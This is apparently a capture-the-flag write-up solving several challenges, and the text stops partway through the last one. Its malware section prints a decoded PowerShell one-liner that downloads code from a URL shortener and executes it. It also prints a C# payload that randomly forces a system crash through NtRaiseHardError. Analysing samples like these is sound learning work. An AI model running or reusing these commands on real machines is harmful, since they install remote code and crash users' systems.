Should be archived (FILE_ATTRIBUTE_ARCHIVE)
Drive type : Fixed (3)
Drive serial number : 0x7cea241e
Volume label :
Local path : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Relative path : ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Working directory : C:\Windows\system32
Command line arguments : -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
I then decoded the Command Line Arguments using base64 -d
to retrieve the string used. It appears to download a file named jwr7JD
using Invoke-WebRequest
.
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ base64 -d sample.txt
iwr is.gd/jwr7JD -o $env:TMP/.cmd;& $env:TMP/.cmd
I then downloaded the jwr7JD
file and ran the sample in Any.Run. After some analysis in Any.Run, I discovered the PowerShell command that was executed from the jwr7JD
file.
1
powershell -e JABzAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ASQBPADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABYAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAaQBuAHQAIABwACwAYgBvAG8AbAAgAGUALABiAG8AbwBsACAAYwAsAG8AdQB0ACAAYgBvAG8AbAAgAG8AKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABOAHQAUgBhAGkAcwBlAEgAYQByAGQARQByAHIAbwByACgAdQBpAG4AdAAgAGUALAB1AGkAbgB0ACAAbgAsAHUAaQBuAHQAIAB1ACwASQBuAHQAUAB0AHIAIABwACwAdQBpAG4AdAAgAHYALABvAHUAdAAgAHUAaQBuAHQAIAByACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdQBuAHMAYQBmAGUAIABzAHQAcgBpAG4AZwAgAFMAaABvAHQAKAApAHsAYgBvAG8AbAAgAG8AOwB1AGkAbgB0ACAAcgA7AFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAMQA5ACwAdAByAHUAZQAsAGYAYQBsAHMAZQAsAG8AdQB0ACAAbwApADsATgB0AFIAYQBpAHMAZQBIAGEAcgBkAEUAcgByAG8AcgAoADAAeABjADAAMAAwADAAMAAyADIALAAwACwAMAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsADYALABvAHUAdAAgAHIAKQA7AGIAeQB0AGUAWwBdAGMAPQBDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUgBOAG8AOABUAFoANQA2AFIAdgArAEUAeQBaAFcANwAzAE4AbwBjAEYATwBJAGkATgBGAGYATAA0ADUAdABYAHcAMgA0AFUAbwBnAEcAZABIAGsAcwB3AGUAYQAvAFcAaABuAE4AaABDAE4AdwBqAFEAbgAxAGEAVwBqAGYAdwAiACkAOwBiAHkAdABlAFsAXQBrAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAC8AYQAxAFkAKwBmAHMAcABxAC8ATgB3AGwAYwBQAHcAcABhAFQAMwBpAHIAWQAyAGgAYwBFAHkAdABrAHQAdQBIADcATABzAFkAKwBOAGwATABlAHcAPQAiACkAOwBiAHkAdABlAFsAXQBpAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADkAcwBYAEcAbQBLADQAcQA5AEwAZABZAEYAZABPAHAANABUAFMAcwBRAHcAPQA9ACIAKQA7AHUAcwBpAG4AZwAoAEEAZQBzACAAYQA9AEEAZQBzAC4AQwByAGUAYQB0AGUAKAApACkAewBhAC4ASwBlAHkAPQBrADsAYQAuAEkAVgA9AGkAOwBJAEMAcgB5AHAAdABvAFQAcgBhAG4AcwBmAG8AcgBtACAAZAA9AGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGEALgBLAGUAeQAsAGEALgBJAFYAKQA7AHUAcwBpAG4AZwAoAHYAYQByACAAbQA9AG4AZQB3ACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABjACkAKQB1AHMAaQBuAGcAKAB2AGEAcgAgAHkAPQBuAGUAdwAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtACgAbQAsAGQALABDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQBNAG8AZABlAC4AUgBlAGEAZAApACkAdQBzAGkAbgBnACgAdgBhAHIAIABzAD0AbgBlAHcAIABTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAHkAKQApAHsAcgBlAHQAdQByAG4AIABzAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQB9AH0AfQAnADsAJABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQwBvAGQAZQBEAG8AbQAuAEMAbwBtAHAAaQBsAGUAcgAuAEMAbwBtAHAAaQBsAGUAcgBQAGEAcgBhAG0AZQB0AGUAcgBzADsAJABjAC4AQwBvAG0AcABpAGwAZQByAE8AcAB0AGkAbwBuAHMAPQAnAC8AdQBuAHMAYQBmAGUAJwA7ACQAYQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzACAALQBMAGEAbgBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAgAC0AUABhAHMAcwBUAGgAcgB1ACAALQBDAG8AbQBwAGkAbABlAHIAUABhAHIAYQBtAGUAdABlAHIAcwAgACQAYwA7AGkAZgAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxACAALQBNAGEAeAAgADcAKQAgAC0AZQBxACAAMQApAHsAWwBYAF0AOgA6AFMAaABvAHQAKAApAH0AUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIA
I once again decoded the Base64 string:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$s='using System;using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.IO;
public class X{[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o);
[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r);
public static unsafe string Shot(){bool o;
uint r;
RtlAdjustPrivilege(19,true,false,out o);
NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r);
byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");
using(Aes a=Aes.Create()){a.Key=k;a.IV=i;ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV);
using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd();}}}}';
$c=New-Object System.CodeDom.Compiler.CompilerParameters;
$c.CompilerOptions='/unsafe';
$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;
if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"
I created a Python script to decode the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
from Crypto.Cipher import AES
# Base64-encoded strings from the script
encrypted_data_b64 = "RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw"
key_b64 = "/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew="
iv_b64 = "9sXGmK4q9LdYFdOp4TSsQw=="
# Decode Base64 strings
encrypted_data = base64.b64decode(encrypted_data_b64)
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
# Create AES cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)
# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)
# Convert decrypted data to string (removing potential padding)
try:
decrypted_string = decrypted_data.decode('utf-8').rstrip('\x00')
except Exception as e:
decrypted_string = str(e)
print(decrypted_string)
Flag: flag{4e4f266d44717ff3af8bd92d292b79ec}
Whamazon
Author: @JohnHammond
Category: Warmups
Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?
1
2
3
4
5
6
7
The 'Video Games' item costs 30 dollars.
How many of the 'Video Games' items would you like ?
> -100000000
Crunching the numbers...
30 dollars x -100000000 = -3000000000 subtracted from your wallet!
!! You have: 3000000350 dollars in your wallet !!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1. Apples
2. Oranges
3. Video Games
4. Game Console
5. Television
6. House
7. The Flag
8. "Nothing, I want to leave"
> 7
The 'The Flag' item costs 1000000000 dollars.
How many of the 'The Flag' items would you like ?
> 1
Crunching the numbers...
1000000000 dollars x 1 = 1000000000 subtracted from your wallet!
Wait a second Whammy... you wanna buy THE FLAG???
This is our most valued item! I won't give it up without an intense game of
ROCK PAPER SCISSORS!
You know how to play, right? A player can pick just one of three choices!
... Rock beats Paper
... Paper beats Scissors
... Scissors beats Rock
Let's play! First, here are some jedi-mind game tricks to throw you off...
"I, your opponent, will NOT choose Rock!!"
?? What is your choice ??
1. Rock
2. Paper
3. Scissors
4. "Nevermind, I don't wanna play"
> 2
After a few rounds I won and retrived the flag.
Flag: flag{18bdd83cee5690321bb14c70465d3408}
Malibu
Author: Truman Kain
Category: Miscellaneous
What do you bring to the beach?
First, I had to figure out what the challenge was about. If you simply ran the nc
command when the container was initialized, it would fail due to a broken request (which was part of the challenge). By performing a proper GET request, I discovered that it was a MinIO server, indicating that it uses ‘bucket’ technology.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ echo -e "GET / HTTP/1.1\r\nHost: challenge.ctf.games\r\n\r\n" | nc challenge.ctf.games 31589
HTTP/1.1 403 Forbidden
Accept-Ranges: bytes
Content-Length: 254
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 17FB5711ECD820FC
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 59
X-Ratelimit-Remaining: 59
X-Xss-Protection: 1; mode=block
Date: Fri, 04 Oct 2024 19:36:56 GMT
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>17FB5711ECD820FC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
From the description, I assumed that the bucket was the endpoint for the container:
http://challenge.ctf.games:31589/bucket/
This endpoint provided all the information about the different files located in the bucket. I downloaded the site using wget
and converted it to JSON format to make it easier to read.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
"ListBucketResult": {
"@xmlns": "http://s3.amazonaws.com/doc/2006-03-01/",
"Name": "bucket",
"Prefix": null,
"Marker": null,
"MaxKeys": "1000",
"IsTruncated": "false",
"Contents": [
{
"Key": "1XkvjQx0/DAL1nawF/bp72rWyz/0Y8aaxxk/eiOEC2XQo2VECCR4",
"LastModified": "2024-10-18T21:43:08.704Z",
"ETag": "\"28aeb48085f75c02f0c39a46700bac45\"",
"Size": "2656",
"Owner": {
"ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4",
"DisplayName": "minio"
},
"StorageClass": "STANDARD"
},
{
"Key": "1XkvjQx0/DAL1nawF/bp72rWyz/AhTy3Fl4Ssswq4G9",
"LastModified": "2024-10-18T21:43:10.405Z",
"ETag": "\"ea48bd41089570676fcbe78155c5c486\"",
"Size": "1657",
"Owner": {
"ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4",
"DisplayName": "minio"
},
"StorageClass": "STANDARD"
},
{
"Key": "2MWou4l3/wcTX21m5/pkWhmuJa/8r5l4AKvjRR8pkgG",
"LastModified": "2024-10-18T21:42:01.404Z",
"ETag": "\"83a2b4ff9a8e1c2168fb920807c8c9d3\"",
"Size": "2058",
"Owner": {
"ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4",
"DisplayName": "minio"
},
"StorageClass": "STANDARD"
},
Afterward, I used this script to download all the files from the bucket:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import json
import os
# Load your JSON data (replace 'keys.json' with your actual json file path)
with open('keys.json', 'r') as f:
data = json.load(f)
# Base URL for the MinIO server
base_url = "http://challenge.ctf.games:31589/bucket"
download_dir = "downloads" # Directory to store downloaded files
# Ensure the download directory exists
if not os.path.exists(download_dir):
os.makedirs(download_dir)
# Access the 'Contents' list from the JSON structure
items = data['ListBucketResult']['Contents']
# Iterate over each item in the 'Contents' list and download it
for item in items:
key = item['Key']
print(f"Downloading {key}...")
try:
# Generate a URL-encoded version of the key for the HTTP request
file_url = f"{base_url}/{key}"
# Generate a safe file name by replacing slashes with underscores
file_name = os.path.join(download_dir, key.replace("/", "_"))
# Perform the HTTP GET request to download the file
response = requests.get(file_url)
# Raise an error if the download fails
response.raise_for_status()
# Save the content to a file
with open(file_name, 'wb') as f:
f.write(response.content)
print(f"Downloaded {key} to {file_name}")
except Exception as e:
print(f"Error downloading {key}: {e}")
I then went for a Hail Mary and used grep
to search for the flag! :D
1
2
3
┌──(kali㉿kali)-[~/huntress/malibu/downloads]
└─$ grep -r flag
b8m7PBqn_znmFoww1_YtBbfl0vvTPQQMSW:aAADHPIjQTolgjYoZYxUqi6Sz50wTrYcjBII390CPrJnyFYQBSHgS6xtSKtHUJ0cKfzpLZXDjnG5bd5KsGzuCD2VZdeEHlQsyR35YEIQw0yuortB9Swtc11l3kADAZ1CcNkuHGXBjCvGqrVefvnd33jFrZ0RolyI5Q6HcrQHXrb0YcRZbMm7FbdMfKmG2wcyGEd6liZVRmoNHN5zoNheMpKMLCsnVUO7hI7lqNS6rP9DVY4maDkdsa5hHYCaMEVfaEnOTHsiCIu4UuUw4YMSAdNEA2tRiHxfie3wGZ1RjYQCPlCD3Wn2AKee82I5R9LaBRKxwOBwl2D4xMrWTuri46YH5EKiWEtPjrwWhfMyJuxor54YBsVVg37Tvea9DSJFaab3xjdc0Awtthn46Icu9KxOVZrwoofnU9Hm7Gt4Vk5gwhQWq2huEXSRjUdRm9Lg9klWYdlxWtwJpNt0hKIDDtqEIVwqDU2RDW6D6KXAiSbBRywjHhnfXRxIga5yaWrESNTdKgVdeb3287MVUezol1JMhdUxz2f8BQkURinsogxk3E07QZmHAy2SrbKLt2FrFIPZ8onXHTvoN7Bk85NY0CHMrfjVNvPbQ5cVSbRPHJU6xgS0V17ZOEpJwAnI9zuoBZhJ2neopUK5YqBQfkIycYj93Pfov2Vj7W3XaX8IgaRiJj3ipQZtVuXdZoa7ncGACLOpZhOWkMXSRsdO51WySkhcalwsGQyoAV3srhPSleMhBQF0KgTL5SIB0YoaKrMpEuupyDvvR3QK49cS3jnyTxDMADriGjFlGpBNWJ9Ug6hL2z2csj6tPs3qqjj6XIm5HDmGyqO2SwlerJWxwHF91WJmLQ7bteORkkuTRjfb9Sf8VTKcJqW9ldrLfjmH6T4nFOlbjYwFplTyYmVA6TnFz5FwZs9XiRCIDmTZLOaRVQWiKflag{800e6603e86fe0a68875d3335e0daf81}iSr6rvpfbvwN992kFqmJWc0TQz4M5EYmLcPjLU8GByJJgelbIECdG7JnrDb7ure2R0MjWorJsQWp53jlwtqnUuedYv2TZA0HpIISGL7rPL7b8c78aDia2g9aGnqOnRncy1dy7L2ryrnJhLgZMABhqbrwj5VbzAWoplKnbET48dlKkLDOTTOxYhaDbHdXAD1zcFZlbTfSayEClbnsOkoHuVKiFppvwcvVpv5KImGtwP1mcAgmPYrPkUo5uQgKJe0hVFpC4RmuESGH70BkXQwUAUEc6gjZlXwR0RnxGzZdgvqYSt1NTcM8cGx62RGyTBeLqMbF2lRO1EQBaQJ5mWouSPFZHokiJkq7uckpUbnsBvGMqvGEOnOaldq2qBbpCCKB1WK3dxO5o43FlDzhnx8zKv1bH8BfBdkSQ12BcqszDhVMuqd6B1VBrU6hIy9EMqDBzydPsciiphIoYW444OVfFiANyskqSdnfKsdwk5AWUpUppwkt58wVuUVxvYXVtXhrJHr1rKU6EHgM8pV2sGQcFaiIfHSS2FQiS04kDWALES2T7rB76L6d54PDqMR8IISJtDuCzSSYUDJWgb9lIYPzYQuZ1chPaRP70vG0ems1xz2vCZpwDmpsTEPGjIEEBrD8w2nSEScUFVTimCJGMwKvCmPf12I0SzqYAQIT83yNSTcJqjMAOjipNzDyF4p664g0Tc7Ue8SnpZpu3cralPEnCKAl5IPXstZcs0q5hJTT6iZIAPOL1yTwEQ33VJ55pEI7kcgICHxleRNt0QQG9MCySJtR50FcoxP6erPzGguPwW951kPyTGIQJyHymdYYAf9i7DpnPGAttg6vcVFOcThD8a3cuwK0nqyICkIlwz5VE883AIWeeMGWEShQHUoIrv5df3ka0hYAAGLCVArKwA4
Flag: flag{800e6603e86fe0a68875d3335e0daf81}
TXT Message
Author @JohnHammond
Category: Warmups
Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…
A TXT lookup on the domain reveals the following in the TXT record:
1
146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175
The numbers represent an ASCII sequence of the octal values of the symbols. When you convert them all, you obtain the flag.
Flag: flag{14e072f705d45882401d141c562fdc0b}
Unbelievable
Author @JohnHammond
Category: Warmups
Don’t believe everything you see on the Internet! Anyway, have you heard this intro soundtrack from Half-Life 3?
1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ file Half-Life_3_OST.mp3
Half-Life_3_OST.mp3: PNG image data, 800 x 200, 8-bit/color RGB, non-interlaced
Rename it using the command: mv Half-Life_3_OST.mp3 Half-Life_3_OST.png
.
After renaming, open the picture, and the flag is displayed.
Flag: flag{a85466991f0a8dc3d9837a5c32fa0c91}
Discount Programming Devices
Author: @sudo_Rem
Category: Malware
I used a tool on the internet to obfuscate my script! But I lost it, and I don’t know how to get it back. Maybe you can help?
We are given a file named oops.py
, which contains the following code:
1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))
To solve this, we just need to reverse the code:
Decode the Base64 string in reverse and then decompress the data afterward.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import zlib
base64_string = '==gP54lIP4///+M/1+GMvNce/fWcVLH/MInNnz3h23iJeQkC6MKwEMMnp7Be7eNbVOK+HAqgHAvKs2ZQCIdwiGMoyFlmRZY3D9myD9RsxDdcXHVY7KBHsx5vQySZbN6k/aOdLYcll9Y1ylgMhIcOHvxOHtpJHCFnycqVBi7RdrOV28RuwNLHdOvfik1LfphPAQPtQX06GvY1E4opz8haLDIS8aY5Y/1H0VsprNhdPWlkQ+0a5fSSTdL62zidNlzFLPylO8NaDvxS16+3YOnAfdnXVfZmcxnX2SaFBcxXljsXcnL3Xkz1+PdsPqDV8agbiwk4AHawNYtdfUOqYNmcq5UI4bWA+v/8iXO9FHe2q8jo6ev/SpNXxf5K8NqSW0S2Ome080y4i0D/SnMVqUv7VAbusmOjycRH7d1vK1Xww7trN3YmGjVRDaVM1Wos88jZNlQq0cb8E9bUGVem3/cN3LU8B00xLGogRHNy/U5dWeOp+oo4ZEORSCsRwcsDXp/z2j6hQQZk2XuVeBDSMGTkIehhV/e9Q3epFnVWCHb7R3MUcv54kxeni8M8FcbWWQLPiogpVyvPWOnuZblrgsjCuLTJjSuTSUqo1RrcON3NfaMZCYr/6UIIv+Chnis+5X5PPiS2Mg+mO92XklpyIkXXunlweQWBqLTcrmxTbXWkBQ972jdwq4qVZHgdkIOEKFTybG3zLjGcVAvwjWJDx3wSf915V/A9j2yvwilazWb0LLD2/MVciG6XjJAzTelzRhqCeHFU+hovH3cG3vPh9WBr8Qsx+1AArJtGyJ3NRpsq2kcYARwACyXSZFBz5qM28fJ1eT8caDPLjA0cV9VotGWW1s5V9zNucji6XLZS15RVDgRF70wr4iTVJ0g9goZ4H